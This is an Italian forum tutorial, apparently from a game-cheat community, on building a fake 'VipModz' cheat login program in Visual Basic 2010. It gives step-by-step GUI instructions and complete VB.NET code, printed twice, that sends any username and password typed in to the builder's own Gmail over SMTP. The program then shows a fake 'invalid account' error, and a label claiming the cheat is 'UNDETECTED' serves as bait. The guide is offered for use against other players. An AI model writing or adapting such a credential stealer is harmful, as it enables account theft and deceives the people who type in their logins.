Ciao ragazzi , oggi vi mostro come creare un fake login simile alle VipModz , ovviamente si può usare per altro, basta cambiare il nome del programma, con qualsiasi nome che volete.
Dopo aver seguito la guida (passo per passo) , il programma sarà questo :
Dopo aver seguito la guida (passo per passo) , il programma sarà questo :
Cominciamo , dovrete avere una email Gmail, e poi dovrete scaricare VisualBasic 2010 ,
Download :
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
Poi aprite VB, e dovrebbe spuntarvi questa schermata :
Cliccate su Nuovo Progetto.. , si aprirà una finestra, in basso cambiate il nome WindowsApplication1 in VipModz ( o nel nome che preferite), poi cliccate la prima voce in alto (due volte per aprirla ) Applicazione Windows Form.
Vi spunterà così:
Per cambiare il nome del programma , cliccate sul nome Form1 della finestra, e cambiate questa tab in basso a destra con qualsiasi nome che preferite:
In seguito dovrete prendere dalla casella degli strumenti 6 Label , per cambiare il nome label , cliccateci una volta sopra , poi andate sempre in basso a destra nella tab ( come abbiamo fatto con il Form1 , per cambiare il nome del programma) e la cambiate in Login: , la seconda in UserName, la terza in Password , la quarta in Game: , la quinta in Status, e l'ultima in UNDETECTED - Mar 23, 2017 , infine dovrete cambiare il nome del Bottone in Login.
e dovranno essere posizionate in questo modo :
Poi , sempre dalla casella strumenti prendete 2 TextBox, e mettetele vicino alla label Username e Password così :
Ok , ora sempre dalla casella strumenti prendete una ComboBox, di sopra gli scrivete Piercing Blow, sempre cliccando lo spazio bianco della ComboBox e andare in basso a destra nella tab Text come le label,
poi per fare la lista dovrete cliccare una piccola freccetta che e nella ComboBox in alto a destra , e cliccare Modifica elementi, si aprirà un'altra finestra dove dovrete mettere una lista di alcuni PointBlank di vari paesi, così:
Poi, prendiamo una ProgressBar dalla casella strumenti e la posizioniamo così:
Poi aggiungiamo il MenuStript sempre dalla casella degli strumenti , appena inserita spunta una scritta Digitare qui, e noi scriviamo edit , subito dopo spunta un'altro spazio con scritto digita qui , e noi scriviamo View , di seguito ne spunta un'altro e scriviamo Help così:
Aggiungiamo uno SatusStrip , spunterà una piccola immagine con una freccetta verso il basso ,
cliccate e vi spunteranno delle opzioni, cliccate StatusLabel vi spunterà così :
Ora inseriamo un timer dalla casella strumenti , per finire dobbiamo inserire il codice che io vi darò, in alto c'è scritto Visualizza , poi cliccate codice così:
Togliete tutto ciò che c'è scritto e inserite questo codice :
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Inserisci Username Valido")
Else
End If
If TextBox2.Text = "" Then
MsgBox("Inserisci La Password Valida")
Else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Tua Gmail", "Psw Gmail")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Tua Gmail")
mail.To.Add("Tua Gmail")
mail.Subject = "nostale id: " & TextBox1.Text
mail.Body = "ID nostale: " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
End If
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(2)
If ProgressBar1.Value = 100 Then
Timer1.Stop()
MsgBox("Errore , Account e/o Password Non Validi!", MsgBoxStyle.Information)
ProgressBar1.Value = 0
End If
End Sub
End Class
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Inserisci Username Valido")
Else
End If
If TextBox2.Text = "" Then
MsgBox("Inserisci La Password Valida")
Else
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Tua Gmail", "Psw Gmail")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Tua Gmail")
mail.To.Add("Tua Gmail")
mail.Subject = "nostale id: " & TextBox1.Text
mail.Body = "ID nostale: " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
End If
Timer1.Start()
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(2)
If ProgressBar1.Value = 100 Then
Timer1.Stop()
MsgBox("Errore , Account e/o Password Non Validi!", MsgBoxStyle.Information)
ProgressBar1.Value = 0
End If
End Sub
End Class
Dovrete modificare le scritta Tua Gmail , nella vostra email di Gmail, e Psw Gmail cioè la password del vostro account.
Per le piccole cose tipo l'icona del programma dovrete cliccare la finestra e in basso a destra dovrete modificare la tab ico :
Per un'altra cosa , mettere questo sulla TextBox della password:
Guida creata interamente da me , Spero che vi sia stata utile, inoltre ricordo che io o sciax non prendiamo nessuna responsabilità dell'uso di questa guida, Ciao 